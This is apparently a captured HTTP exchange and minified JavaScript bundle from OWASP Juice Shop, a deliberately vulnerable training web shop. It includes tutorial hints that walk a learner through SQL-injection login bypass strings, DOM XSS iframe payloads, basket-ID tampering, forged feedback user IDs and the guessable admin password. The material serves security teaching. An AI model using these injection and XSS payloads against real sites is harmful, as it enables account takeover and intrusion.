D,"a",{configurable:!0});return!1!==Reflect.set(D.prototype,"a",1,w)})},{set:function R(D,w,C){var z,I,K,X=arguments.length<4?D:arguments[3],B=T.f(a(D),w);if(!B){if(i(I=O(D)))return R(I,w,C,X);B=m(0)}if(u(B)){if(!1===B.writable||!i(X))return!1;if(z=T.f(X,w)){if(z.get||z.set||!1===z.writable)return!1;z.value=C,p.f(X,w,z)}else p.f(X,w,m(0,C))}else{if(void 0===(K=B.set))return!1;s(K,X,C)}return!0}})},6034:(o,h,t)=>{var e=t(9989),s=t(9037),a=t(5997);e({global:!0},{Reflect:{}}),a(s.Reflect,"Reflect",!0)}},o=>{o(o.s=7435)}]);'
GET http://localhost:3000/main.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"7814d-18df12a3c67"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[179],{4550:(tt,K,c)=>{c.d(K,{e:()=>s});var k=c(2340),t=c(4850),w=c(7221),L=c(4650),I=c(529);let s=(()=>{class b{constructor(Z){this.http=Z,this.hostServer=k.N.hostServer,this.host=this.hostServer+"/rest/admin"}getApplicationConfiguration(){return this.configObservable||(this.configObservable=this.http.get(this.host+"/application-configuration").pipe((0,t.U)(Z=>Z.config,(0,w.K)(Z=>{throw Z})))),this.configObservable}}return b.\\u0275fac=function(Z){return new(Z||b)(L.LFG(I.eN))},b.\\u0275prov=L.Yz7({token:b,factory:b.\\u0275fac,providedIn:"root"}),b})()},5376:(tt,K,c)=>{c.d(K,{t:()=>s});var k=c(4850),t=c(7221),w=c(2340),L=c(4650),I=c(529);let s=(()=>{class b{constructor(Z){this.http=Z,this.hostServer=w.N.hostServer,this.host=this.hostServer+"/rest/web3"}nftUnlocked(){return this.http.get(this.host+"/nftUnlocked").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}nftMintListen(){return this.http.get(this.host+"/nftMintListen").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}checkNftMinted(){return this.http.get(this.hostServer+"/api/Challenges/?key=nftMintChallenge").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}submitKey(Z){return this.http.post(this.host+"/submitKey",{privateKey:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}verifyNFTWallet(Z){return this.http.post(this.host+"/walletNFTVerify",{walletAddress:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}walletAddressSend(Z){return this.http.post(this.host+"/walletExploitAddress",{walletAddress:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}}return b.\\u0275fac=function(Z){return new(Z||b)(L.LFG(I.eN))},b.\\u0275prov=L.Yz7({token:b,factory:b.\\u0275fac,providedIn:"root"}),b})()},5004:(tt,K,c)=>{c.d(K,{H:()=>L});var k=c(4650),t=c(1195),w=c(7009);let L=(()=>{class I{constructor(b,O){this.translateService=b,this.snackBar=O}open(b,O){this.translateService.get(b).subscribe(Z=>{this.snackBar.open(Z,"X",{duration:5e3,panelClass:O})},()=>{this.snackBar.open(b,"X",{duration:5e3,panelClass:O})})}}return I.\\u0275fac=function(b){return new(b||I)(k.LFG(t.sK),k.LFG(w.ux))},I.\\u0275prov=k.Yz7({token:I,factory:I.\\u0275fac,providedIn:"root"}),I})()},2340:(tt,K,c)=>{c.d(K,{N:()=>k});const k={production:!0,hostServer:"."}},1096:(tt,K,c)=>{c.r(K),c.d(K,{hasInstructions:()=>Yt,startHackingInstructorFor:()=>Jt});var k=c(5861),t=c(8111);let w;const L={faster:.5,fast:.75,normal:1,slow:1.25,slower:1.5};function I(y){return s.apply(this,arguments)}function s(){return(s=(0,k.Z)(function*(y){yield new Promise(S=>{setTimeout(S,y)})})).apply(this,arguments)}function b(y,S,M={ignoreCase:!0,replacement:[]}){return(0,k.Z)(function*(){const E=document.querySelector(y);if(2===M.replacement?.length){w||(w=(yield(yield fetch("/rest/admin/application-configuration")).json()).config);const j=M.replacement[1].split(".");let et=w;for(const G of j)et=et[G];S=S.replace(M.replacement[0],et)}for(;(!M.ignoreCase||E.value.toLowerCase()!==S.toLowerCase())&&(M.ignoreCase||E.value!==S);)yield I(100)})}function Z(y,S,M={ignoreCase:!0}){return(0,k.Z)(function*(){const E=document.querySelector(y);for(;;){if(""!==E.value){if(M.ignoreCase&&E.value.toLowerCase()!==S.toLowerCase())break;if(!M.ignoreCase&&E.value!==S)break}yield I(100)}})}function g(y){return(0,k.Z)(function*(){const S=document.querySelector(y);for(;!S.value||""===S.value;)yield I(100)})}function D(y){return(0,k.Z)(function*(){const S=document.querySelector(y);S||console.warn(`Could not find Element with selector "${y}"`),yield new Promise(M=>{S.addEventListener("click",()=>{M()})})})}function u(y,S){return(0,k.Z)(function*(){for(;;){const M=document.querySelector(y);if(M&&M.innerHTML===S)break;yield I(100)}})}function p(y){return(0,k.Z)(function*(){w||(w=(yield(yield fetch("/rest/admin/application-configuration")).json()).config);let S=L[w.hackingInstructor.hintPlaybackSpeed];S??(S=1),yield I(y*S)})}function x(y){return(0,k.Z)(function*(){for(;window.location.hash!==`#/${y}`;)yield I(100)})}function T(){return(0,k.Z)(function*(){for(;null===localStorage.getItem("token");)yield I(100)})}function lt(){return(0,k.Z)(function*(){for(;null!==localStorage.getItem("token");)yield I(100)})}function gt(){let y=!1;const S=new Image;return Object.defineProperty(S,"id",{get:function(){y=!0}}),(0,k.Z)(function*(){for(;console.dir(S),console.clear(),!y;)yield I(100)})}const _={name:"Login Admin",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with the administrator\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"To find a way around the normal login process we will try to use a **SQL Injection** (SQLi) attack.",fixture:"#email",resolved:p(8e3)},{text:"A good starting point for simple SQL Injections is to insert quotation marks (like `\\"` or `\'`). These mess with the syntax of an insecurely concatenated query and might give you feedback if an endpoint is vulnerable or not.",fixture:"#email",resolved:p(15e3)},{text:"Start with entering `\'` in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","\'")},{text:"Now put anything in the **password field**. It doesn\'t matter what.",fixture:"#password",unskippable:!0,resolved:g("#password")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"Nice! Do you see the red `[object Object]` error at the top? Unfortunately it isn\'t really telling us much about what went wrong...",fixture:"#rememberMe",resolved:p(1e4)},{text:"Maybe you will be able to find out more information about the error in the JavaScript console or the network tab of your browser!",fixture:"#rememberMe",resolved:p(1e4)},{text:"Did you spot the error message with the `SQLITE_ERROR` and the entire SQL query in the 500 response to `/login`? If not, keep the network tab open and click _Log in_ again. Then inspect the occuring response closely.",fixture:"#rememberMe",resolved:p(3e4)},{text:"Let\'s try to manipulate the query a bit to make it useful. Try out typing `\' OR true` into the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","\' OR true")},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"Mhh... The query is still invalid? Can you see why from the new error in the HTTP response?",fixture:"#rememberMe",resolved:p(8e3)},{text:"We need to make sure that the rest of the query after our injection doesn\'t get executed. Any Ideas?",fixture:"#rememberMe",resolved:p(8e3)},{text:"You can comment out anything after your injection payload from query using comments in SQL. In SQLite databases you can use `--` for that.",fixture:"#rememberMe",resolved:p(1e4)},{text:"So, type in `\' OR true--` into the email field.",fixture:"#email",unskippable:!0,resolved:b("#email","\' OR true--")},{text:"Press the _Log in_ button again and sit back...",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"That worked, right?! To see with whose account you just logged in, open the _Account_ menu.",fixture:"#navbarAccount",unskippable:!0,resolved:D("#navbarAccount")},{text:"\\u{1f389} Congratulations! You have been logged in as the **administrator** of the shop! (If you want to understand why, try to reproduce what your `\' OR true--` did _exactly_ to the query.)",fixture:"app-navbar",resolved:p(2e4)}]},kt={name:"DOM XSS",hints:[{text:"For this challenge, we\'ll take a close look at the _Search_ field at the top of the screen.",fixture:".fill-remaining-space",unskippable:!0,resolved:p(8e3)},{text:"Let\'s start by searching for all products containing `owasp` in their name or description.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","owasp")},{text:"Now hit enter.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","owasp")},{text:"Nice! You should now see many cool OWASP-related products.",fixture:".fill-remaining-space",resolved:p(8e3)},{text:"You might have noticed, that your search term is displayed above the results?",fixture:"app-search-result",resolved:p(8e3)},{text:"What we will try now is a **Cross-Site Scripting (XSS)** attack, where we try to inject HTML or JavaScript code into the application.",fixture:"app-search-result",resolved:p(15e3)},{text:"Change your search value into `<h1>owasp` to see if we can inject HTML.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","<h1>owasp")},{text:"Hit enter again.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","<h1>owasp</h1>")},{text:"Hmm, this doesn\'t look normal, does it?",fixture:".noResult",resolved:p(8e3)},{text:"If you right-click on the search term and inspect that part of the page with your browser, you will see that our `h1`-tag was _actually_ embedded into the page and is not just shown as plain text!",fixture:".noResult",resolved:p(16e3)},{text:"Let\'s now try to inject JavaScript. Type `<script>alert(xss)<\\/script>` into the search box now.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","<script>alert(xss)<\\/script>")},{text:"Hit enter again.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","<script>alert(xss)<\\/script>")},{text:"\\u{1f614} This didn\'t work as we hoped. If you inspect the page, you should see the `script`-tag but it is not executed for some reason.",fixture:".noResult",resolved:p(1e4)},{text:\'Luckily there are _many_ different XSS payloads we can try. Let\\\'s try this one next: <code><iframe src="javascript:alert(`xss`)"></code>.\',fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input",\'<iframe src="javascript:alert(`xss`)">\')},{text:"Hit enter one more time. If an alert box appears, you must confirm it in order to close it.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue",\'<iframe src="javascript:alert(`xss`)"></iframe>\')},{text:"\\u{1f389} Congratulations! You just successfully performed an XSS attack!",fixture:".noResult",resolved:p(8e3)},{text:"More precisely, this was a **DOM XSS** attack, because your payload was handled and improperly embedded into the page by the application frontend code without even sending it to the server.",fixture:".noResult",resolved:p(16e3)}]},R={name:"Score Board",hints:[{text:"This application is riddled with security vulnerabilities. Your progress exploiting these is tracked on a _Score Board_.",fixture:"app-navbar",unskippable:!0,resolved:p(1e4)},{text:"You won\'t find a link to it in the navigation or side bar, though. Finding the _Score Board_ is in itself actually one of the hacking challenges.",fixture:"app-navbar",resolved:p(12e3)},{text:"You could just start guessing the URL of the _Score Board_ or comb through the client-side JavaScript code for useful information.",fixture:"app-navbar",resolved:p(12e3)},{text:"You find the JavaScript code in the DevTools of your browser that will open with `F12`.",fixture:"app-navbar",resolved:gt()},{text:"Look through the client-side JavaScript in the _Sources_ tab for clues. Or just start URL guessing. It\'s up to you!",fixture:"app-navbar",unskippable:!0,resolved:x("score-board")},{text:"\\u{1f389} Congratulations! You found the _Score Board_! Good luck and happy hacking!",fixture:"app-score-board",resolved:p(6e4)}]},U={name:"Privacy Policy",hints:[{text:"Log in with any user to begin this challenge. You can use an existing or freshly registered account.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:T()},{text:"Great, you are logged in! Now open the _Account_ menu.",fixture:"#navbarAccount",resolved:D("#navbarAccount")},{text:"Open the _Privacy & Security_ sub-menu and click _Privacy Policy_.",fixture:"app-navbar",unskippable:!0,resolved:x("privacy-security/privacy-policy")},{text:"\\u{1f389} That was super easy, right? This challenge is a bit of a joke actually, because nobody reads any fine print online... \\u{1f648}",fixture:"app-navbar",resolved:p(6e4)}]},Bt={name:"Login Jim",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with Jim\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"As you would expect you need to supply Jim\'s email address and password to log in regularly. But you might have neither at the moment.",fixture:"app-navbar",resolved:p(15e3)},{text:"If we had at least the email address, we could then try a **SQL Injection** (SQLi) attack to avoid having to supply a password.",fixture:"app-navbar",resolved:p(15e3)},{text:"So, let\'s go find out Jim\'s email! Luckily the shop is very bad with privacy and leaks emails in different places, for instance in the product reviews.",fixture:"app-navbar",resolved:p(15e3)},{text:"Go back to the product list and click on some to open their details dialog which also hold the user reviews.",fixture:".fill-remaining-space",resolved:x("search")},{text:"Once you found a user review by Jim and learned his email, go to the _Login_ screen.",fixture:".fill-remaining-space",unskippable:!0,resolved:x("login")},{text:"Supply Jim\'s email address in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","jim@juice-sh.op",{replacement:["juice-sh.op","application.domain"]})},{text:"Now put anything in the **password field**. Let\'s assume we don\'t know it yet, even if you happen to already do.",fixture:"#password",unskippable:!0,resolved:Z("#password","ncc-1701")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"This didn\'t work, but did you honestly expect it to? We need to craft an SQLi attack first!",fixture:"#rememberMe",resolved:p(1e4)},{text:"You can comment out the entire password check clause of the DB query by adding `\'--` to Jim\'s email address!",fixture:"#email",unskippable:!0,resolved:b("#email","jim@juice-sh.op\'--",{replacement:["juice-sh.op","application.domain"]})},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as Jim!",fixture:"app-navbar",resolved:p(5e3)}]},X={name:"View Basket",hints:[{text:"This challenge is about **Horizontal Privilege Escalation**, meaning you are supposed to access data that does not belong to your own account but to another user\'s.",fixture:"app-navbar",resolved:p(18e3)},{text:"To start this challenge, you\'ll have to log in first.",fixture:"app-navbar",unskippable:!0,resolved:T()},{text:"First, go to the _Your Basket_ page to view your own shopping basket. It\'s likely to be empty, if you didn\'t add anything yet.",fixture:"app-navbar",unskippable:!0,resolved:x("basket")},{text:"To pass this challenge, you will need to peek into another user\'s basket while remaining logged in with your own account.",fixture:"app-navbar",resolved:p(8e3)},{text:"If the application stores a reference to the basket somewhere in the browser, that might be a possible attack vector.",fixture:"app-navbar",resolved:p(12e3)},{text:"Open the browser\'s _Development Tools_ and locate the _Session Storage_ tab. Similar to \\u{1f36a}s, it can be used to store data in key/value pairs for each website.",fixture:"app-navbar",resolved:gt()},{text:"Look over the names of the used session keys. Do you see something that might be related to the shopping basket? Try setting it to a different value! \\u270d\\ufe0f",fixture:"app-navbar",unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=sessionStorage.getItem("bid");for(;sessionStorage.getItem("bid")===y;)yield I(100)})()},{text:"Great, you have changed the `bid` value which might be some ID for the shopping basket!",fixture:"app-navbar",resolved:p(8e3)},{text:"Now, go to any other screen and then back to _Your Basket_. If nothing happens you might have set an invalid or non-existing `bid`. Try another in that case.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=sessionStorage.getItem("itemTotal");for(;sessionStorage.getItem("itemTotal")===y;)yield I(100)})()},{text:"\\u{1f389} Congratulations! You are now viewing another user\'s shopping basket!",fixture:"app-basket",resolved:p(15e3)}]},It={name:"Forged Feedback",hints:[{text:"To start this challenge, first go to the _Customer Feedback_ page.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("contact")},{text:"This challenge is about broken access controls. To pass it, you need to impersonate another user while providing feedback.",fixture:"app-navbar",resolved:p(1e4)},{text:"If you would now submit feedback, it would be posted by yourself while logged in or anonymously while logged out.",fixture:"app-navbar",resolved:p(1e4)},{text:"We will now search for any mistake the application developers might have made in setting the author of any new feedback.",fixture:"app-navbar",resolved:p(1e4)},{text:"Open the browser\'s _Development Tools_ and try finding anything interesting while inspecting the feedback form.",fixture:"app-navbar",resolved:gt()},{text:"There is more than meets the eye among the fields of the form... \\u{1f609}",fixture:"app-navbar",resolved:p(8e3)},{text:"Once you found the field that shouldn\'t even be there, try manipulating its value to one that might represent another user!",fixture:"app-navbar",unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=document.getElementById("userId").value;for(;document.getElementById("userId").value===y;)yield I(100)})()},{text:"You found and changed the invisible `userId`! Now submit the form to complete the challenge.",fixture:"app-navbar",unskippable:!0,resolved:D("#submitButton")},{text:"\\u{1f389} Congratulations, you successfully submitted a feedback as another user!",fixture:"app-navbar",resolved:p(15e3)}]},ct={name:"Password Strength",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"In this challenge we\'ll try to log into the administrator\'s user account using his original credentials.",fixture:"app-navbar",resolved:p(7e3)},{text:"If you don\'t know it already, you must first find out the admin\'s email address. The user feedback and product reviews are good places to look into. When you have it, go to the _Login_ page.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"Enter the admin\'s email address into the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","admin@juice-sh.op")},{text:"Now for the password. Lucky for us, the admin chose a really, really, **really** stupid one. Just try any that comes to your mind!",fixture:"#password",unskippable:!0,resolved:g("#password")},{text:"\\u{1f926}\\u200d\\u2642\\ufe0f Nah, that was wrong! Keep trying! I\'ll tell you when you\'re one the right track.",fixture:"#password",unskippable:!0,resolved:b("#password","admin")},{text:"Okay, you are one the right track, but this would have been the worst password in the world for an admin. He spiced it up a little bit with some extra non-letter characters. Keep trying!",fixture:"#password",unskippable:!0,resolved:b("#password","admin1")},{text:"\\u{1f525} Yes, it\'s getting warmer! Try adding some more numbers maybe?",fixture:"#password",unskippable:!0,resolved:b("#password","admin12")},{text:"\\u{1f9ef} It\'s getting hot! Just one more digit...",fixture:"#password",unskippable:!0,resolved:b("#password","admin123")},{text:"Okay, now press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as the **administrator** of the shop thanks to his very ill chosen password!",fixture:"app-navbar",resolved:p(2e4)}]},W={name:"Bonus Payload",hints:[{text:"Assuming you did the **DOM XSS** tutorial already, this one just uses a funnier payload on the _Search_ field.",fixture:".fill-remaining-space",unskippable:!0,resolved:p(1e4)},{text:"Enter or paste this payload into the _Search_ field: <code><iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe></code>.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input",\'<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>\')},{text:"Make sure your speaker volume is cranked up. Then hit enter.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue",\'<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>\')},{text:"\\u{1f389} Congratulations and enjoy the music!",fixture:".noResult",resolved:p(5e3)}]},Ot={name:"Login Bender",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with Bender\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"As you would expect you need to supply Bender\'s email address and password to log in regularly. But you might have neither at the moment.",fixture:"app-navbar",resolved:p(15e3)},{text:"If we had at least the email address, we could then try a **SQL Injection** (SQLi) attack to avoid having to supply a password.",fixture:"app-navbar",resolved:p(15e3)},{text:"So, let\'s go find out Bender\'s email! Luckily the shop is very bad with privacy and leaks emails in different places, for instance in the user feedback.",fixture:"app-navbar",resolved:p(15e3)},{text:"Go to the _About Us_ page where user feedback is displayed among other things.",fixture:"app-navbar",fixtureAfter:!0,resolved:x("about")},{text:"Once you found an entry by Bender in the feedback carousel leaking enough of his email to deduce the rest, go to the _Login_ screen.",fixture:"app-about",unskippable:!0,resolved:x("login")},{text:"Supply Bender\'s email address in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","bender@juice-sh.op",{replacement:["juice-sh.op","application.domain"]})},{text:"Now put anything in the **password field**. Let\'s assume we don\'t know it yet, even if you happen to already do.",fixture:"#password",unskippable:!0,resolved:Z("#password","OhG0dPlease1nsertLiquor!")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"This didn\'t work, but did you honestly expect it to? We need to craft an SQLi attack first!",fixture:"#rememberMe",resolved:p(1e4)},{text:"You can comment out the entire password check clause of the DB query by adding `\'--` to Bender\'s email address!",fixture:"#email",unskippable:!0,resolved:b("#email","bender@juice-sh.op\'--",{replacement:["juice-sh.op","application.domain"]})},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as Bender!",fixture:"app-navbar",resolved:p(5e3)}]},Ut={name:null,hints:[{text:"\\u{1f613} Sorry, this hacking challenge does not have a step-by-step tutorial (yet) ... \\u{1f9ed} Can you find your own way to solve it?",fixture:"app-navbar",resolved:p(15e3)},{text:"\\u270d\\ufe0f Do you want to contribute a tutorial for this challenge? [Check out our documentation](https://pwning.owasp-juice.shop/part3/tutorials.html) to learn how! \\u{1f3eb}",fixture:"app-navbar",resolved:p(15e3)},{text:"And now: \\u{1f47e} **GLHF** with this challenge!",fixture:"app-navbar",resolved:p(1e4)}]},J=[R,_,Bt,kt,U,X,It,ct,W,Ot,{name:"Coding Challenges",hints:[{text:"To do the tutorial on _Coding Challenges_, you have to find and visit the _Score Board_ first. Once there, you have to click the tutorial button for the _Score Board_ challenge to proceed.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("score-board")},{text:"Many Juice Shop hacking challenges come with an associated _Coding Challenge_ which will teach you more about the underlying vulnerability on source code level.",fixture:"#Score\\\\ Board\\\\.solved",resolved:p(15e3)},{text:"You can launch a Coding Challenge via the `<>`-button. Click the one for the _Score Board_ challenge now.",fixture:"#codingChallengeTutorialButton",unskippable:!0,resolved:D("#Score\\\\ Board\\\\.codingChallengeButton")},{text:"All Coding Challenges take place in a modal dialog like this. They consist of two parts, one for finding and one for fixing the vulnerability in the code.",fixture:"#code-snippet",resolved:p(15e3)},{text:"The code snippet below shows a part of the actual application source code retrieved in real-time.",fixture:"#code-snippet",resolved:p(1e4)},{text:\'You will always get a snippet that is involved in the security vulnerability or flaw behind the corresponding hacking challenge. In this case, you see the routing code that exposes all dialogs, including the supposedly "well-hidden" Score Board.\',fixture:"#code-snippet",resolved:p(2e4)},{text:\'For the "Find It" part of this coding challenge, tick the \\u{1f532} on all lines of code that you think are responsible for exposing the Score Board. When done, click the _Submit_ button.\',fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#line114")},{text:"That\'s the one! Click the _Submit_ button proceed.",fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#findItSubmitButton")},{text:"\\u{1f38a}! You made it half-way through! In phase two you are now presented with several fix options. You must select the one which you think is the **best possible** fix for the security vulnerability.",fixture:"#code-snippet",resolved:p(1e4)},{text:\'This coding challenge is a bit "special", because the Score Board is crucial for progress tracking and acts as a hub for the other challenges. Keep that in mind when picking the _Correct Fix_ from the options _Fix 1_, _2_ and _3_.\',fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#fixItSubmitButton")},{text:"If you did\'nt get the answer right, just try again until the \\u{1f38a}-cannon fires. Then click _Close_ to end the coding challenge and return to the Score Board.",fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#fixItCloseButton")}]}];function h(y){const S=document.querySelector(y.fixture);if(!S)return null;const M=document.createElement("div");M.style.position="absolute";const E=document.createElement("div");E.id="hacking-instructor",E.style.position="absolute",E.style.zIndex="20000",E.style.backgroundColor="rgba(50, 115, 220, 0.9)",E.style.maxWidth="400px",E.style.minWidth=y.text.length>100?"350px":"250px",E.style.padding="16px",E.style.borderRadius="8px",E.style.whiteSpace="initial",E.style.lineHeight="1.3",E.style.top="24px",E.style.fontFamily="Roboto,Helvetica Neue,sans-serif",y.unskippable||(E.style.cursor="pointer",E.title="Double-click to skip"),E.style.fontSize="14px",E.style.display="flex",E.style.alignItems="center";const j=document.createElement("img");j.style.minWidth="64px",j.style.minHeight="64px",j.style.width="64px",j.style.height="64px",j.style.marginRight="8px",j.src="/assets/public/images/hackingInstructor.png";const et=document.createElement("span");et.style.flexGrow="2",et.innerHTML=(0,t.Z)(y.text);const G=document.createElement("button");G.id="cancelButton",G.style.textDecoration="none",G.style.backgroundColor="transparent",G.style.border="none",G.style.color="white",G.innerHTML=\'<div style;">×</div>\',G.style.fontSize="large",G.title="Cancel the tutorial",G.style.position="relative",G.style.zIndex="20001",G.style.bottom="-22px",G.style.cursor="pointer",E.appendChild(j),E.appendChild(et);const it=document.createElement("div");return it.style.position="relative",it.style.display="inline",it.appendChild(E),it.appendChild(G),M.appendChild(it),S.parentElement.insertBefore(M,y.fixtureAfter?S.nextSibling:S),M}function $(y){return d.apply(this,arguments)}function d(){return(d=(0,k.Z)(function*(y){return yield new Promise(S=>{y.addEventListener("dblclick",S)})})).apply(this,arguments)}function Rt(y){return _t.apply(this,arguments)}function _t(){return(_t=(0,k.Z)(function*(y){return yield new Promise(S=>{y.addEventListener("click",()=>{S("break")})})})).apply(this,arguments)}function Yt(y){return void 0!==J.find(({name:S})=>S===y)}function Jt(y){return ft.apply(this,arguments)}function ft(){return(ft=(0,k.Z)(function*(y){const S=J.find(({name:M})=>M===y)||Ut;for(const M of S.hints){const E=h(M);if(!E){console.warn(`Could not find Element with fixture "${M.fixture}"`);continue}E.scrollIntoView();const j=[M.resolved()];if(M.unskippable||j.push($(E)),j.push(Rt(document.getElementById("cancelButton"))),"break"===(yield Promise.race(j))){E.remove();break}E.remove()}})).apply(this,arguments)}},6645:(tt,K,c)=>{var k=c(1481),t=c(4650),w=c(5861),L=c(529),I=c(6201),s=c(4006),b=c(4550),O=c(5951),Z=c(5767),g=c(801),D=c(534),u=c(1195),p=c(4916),x=c(4859),T=c(3546);const lt=function(n){return{juicycoin:n}};O.vI.add(Z.IxA,g.bhf,g.Xf_,g.Egd,g.lXL,D.Eg,D.lX);let gt=(()=>{class n{constructor(e){this.configurationService=e,this.altcoinName="Juicycoin"}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.altcoinName&&(this.altcoinName=e.application.altcoinName)},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-token-sale"]],decls:117,vars:26,consts:[["fxLayout","row","fxLayout.lt-md","column","fxLayoutGap","20px",1,"container"],["fxFlexAlign","center",1,"whitepaper-container","offer-container"],[3,"innerHtml"],[1,"divider"],[1,"mat-elevation-z6"],[2,"margin-left","10px"],["translate",""],[1,"whitepaper-buttons"],["href","https://ponzico.win/ponzico.pdf","target","_blank","rel","noopener noreferrer"],["mat-raised-button","","color","accent"],[1,"fas","fa-university","fa-lg"],["href","https://www.sec.gov/investor/alerts/ia_virtualcurrencies.pdf","target","_blank","rel","noopener 